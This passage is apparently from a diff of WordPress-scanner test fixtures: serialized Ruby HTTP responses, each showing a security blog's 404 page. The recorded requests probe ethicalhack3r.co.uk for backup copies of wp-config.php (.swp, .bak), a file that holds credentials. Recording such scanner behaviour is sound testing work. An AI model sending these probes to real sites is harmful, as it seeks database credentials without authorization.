class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
<ul>\n\
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
</li>\n\
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
</li>\n\
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
</li>\n\
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
</li>\n\
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
</li>\n\
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
</li>\n\
</ul>\n\
</li>\n\
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li></ul></li>\n\
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
<ul>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
<ul class='xoxo blogroll'>\n\
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
<br/>\n\
<br/>\n\
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
</div></div>\n\
</li>\n\
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&amp;fg=000000&amp;anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
</li>\n\
</ul>\n </div>\n\
<br style=\"clear:both;\"/>\n\
<div id=\"footer\">\n\
<div class=\"copyright\">Copyright &copy; 2008-2012 Ryan Dewhurst</div>\n\
</div>\n \n\
</div>\n \n\
</body>\n\
</html>"
code: 404
connect_time: 3.0e-05
curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/wp-config.php.swp
headers: |
HTTP/1.1 404 Not Found
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:32 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: session=s0575rmg11ak75rglmjuf3uj7ma9blf4; path=/; HttpOnly
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
Last-Modified: Mon, 09 Jul 2012 08:15:32 GMT
Vary: Accept-Encoding
Set-Cookie: __cfduid=d649076e121afd4eeb1a938d6c91caefb1341821731; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=d649076e121afd4eeb1a938d6c91caefb1341821731; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=d649076e121afd4eeb1a938d6c91caefb1341821731; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
http_version:
mock: false
name_lookup_time: 2.9e-05
pretransfer_time: 2.8e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete: !ruby/object:Proc {}
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /wp-config.php.swp
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/wp-config.php.swp
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 0.737602
status_message:
time: 0.834884

View File

@@ -0,0 +1,310 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 3.1e-05
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
<head>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<title>Nothing found for Wp-config Bak</title>\n\
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
</head>\n\
<body><script type=\"text/javascript\">\n\
//<![CDATA[\n\
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
//]]>\n\
</script>\n\
<noscript>\n\
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
</noscript>\n\
<script type=\"text/javascript\">\r\n\
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
\r\n\
</script>\n\
<div class=\"topLine\">\n\
</div>\n\
<div id=\"wrap\">\n\
<div id=\"header\">\n\
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
<ul id=\"menu\">\n\
<li id=\"home\" class=\"current_page_item\">\n\
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
<div class=\"menuLine\">\n\
01\n\
</div> \n\
</a>\n\
</li>\n\
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
<li id=\"rss\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
</li>\n\
</ul>\n\
<br style=\"clear:both;\"/>\n\
</div>\n \n\
<div id=\"main\">\n\
<div id=\"primary\">\n\
<div class=\"topLine\">\n\
</div>\n\
<h2>Recent</h2>\n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug &#8211; PHP Static Code Analysis</a></h2>\n\
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo&#8217;ing (Google was largely unknown) for the term &#8216;hacking&#8217;. Back then Yahoo! Chat was still around and had a chat room called the &#8216;Hackers Lounge&#8217;, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI &#8216;hacking&#8217; tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these &#8216;hacking&#8217; tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 &#8216;hacking&#8217; tools that I and others used &#8216;back in the day&#8217;. Warning: Download links not verified.</p>\n\
<p><strong>Legion by Rhino9</strong></p>\n\
<p>Use: Windows Null Session share scanner.<br/>\n\
Released: 1999<br/>\n\
Platform: Windows<br/>\n\
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5</a><br/>\n\
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn&#8217;t really know how it was used so I decided to investigate further.</p>\n\
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in &lt;frame&gt; or &lt;iframe&gt; HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
<p>The X-Frame-Options header may have three different values:</p>\n\
<p><strong>DENY</strong> &#8211; No pages are allowed to be loaded.<br/>\n\
<strong>SAMEORIGIN</strong> &#8211; Only pages from the same domain are allowed to be loaded.<br/>\n\
<strong>Allow-From http://www.example.com</strong> &#8211; Only allow frames from www.example.com.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they&#8217;re the ones who call me an &#8216;expert&#8217;, personally, I hate the term and would never call myself one.</p>\n\
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
<p class=\"meta\">\n\
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
<p>I am tired of receiving multiple telemarketing calls per day, I&#8217;m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I&#8217;m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
<p>You can help by signing the petition here;<br/>\n\
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
</p>\n\
</div>\n \n\
<div id=\"morePrev\">\n\
<span id=\"prev\"></span>\n\
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.bak/page/2/\">Next Page &raquo;</a></span>\n\
<br style=\"clear:both;\"/>\n\
</div>\n\
</div>\n \n\
<ul id=\"sidebar\">\n\
<li class=\"sidebarItem\" id=\"search\">\n\
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
</form> </li> \n\
<div class=\"topLine\"></div>\n\
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
<ul>\n\
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
</li>\n\
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
</li>\n\
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
</li>\n\
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
</li>\n\
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
</li>\n\
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
</li>\n\
</ul>\n\
</li>\n\
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li></ul></li>\n\
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
<ul>\n\
